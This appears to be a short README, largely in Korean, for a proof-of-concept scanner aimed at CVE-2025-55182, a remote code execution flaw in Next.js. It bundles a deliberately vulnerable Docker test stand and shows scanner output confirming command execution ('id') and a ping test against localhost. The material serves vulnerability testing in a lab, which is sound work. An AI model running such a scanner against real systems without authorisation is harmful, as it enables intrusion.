
CVE-2025-55182에 대한 안전한 개념 증명 스캐너로, 원격 코드 실행 테스트를 위한 Docker 기반 취약한 Next.js 스탠드를 포함합니다.
cd Stand
docker compose up --build
취약한 앱은 다음에서 실행됩니다: http://localhost:3011
2. 안전한 PoC 스캐너 실행
bash
cd PoC/src
poetry install
poetry run python scanner.py http://localhost:3011
✅ 예상 PoC 출력
text
[*] Scanning target: http://localhost:3011
[+] VULNERABLE! RCE confirmed.
[+] Command output (id): uid=1001(nextjs)...
[+] Network test (ping) SUCCESSFUL.
[*] Results saved to 'result.txt'.
File result.txt will contain: [{"ip": "http://localhost:3011", "vuln": true}]
📁 프로젝트 구조
PoC/ – 안전한 스캐너 (Dockerfile, scanner.py)
Stand/ – 취약한 Next.js 앱 (Docker)
README.md – 이 파일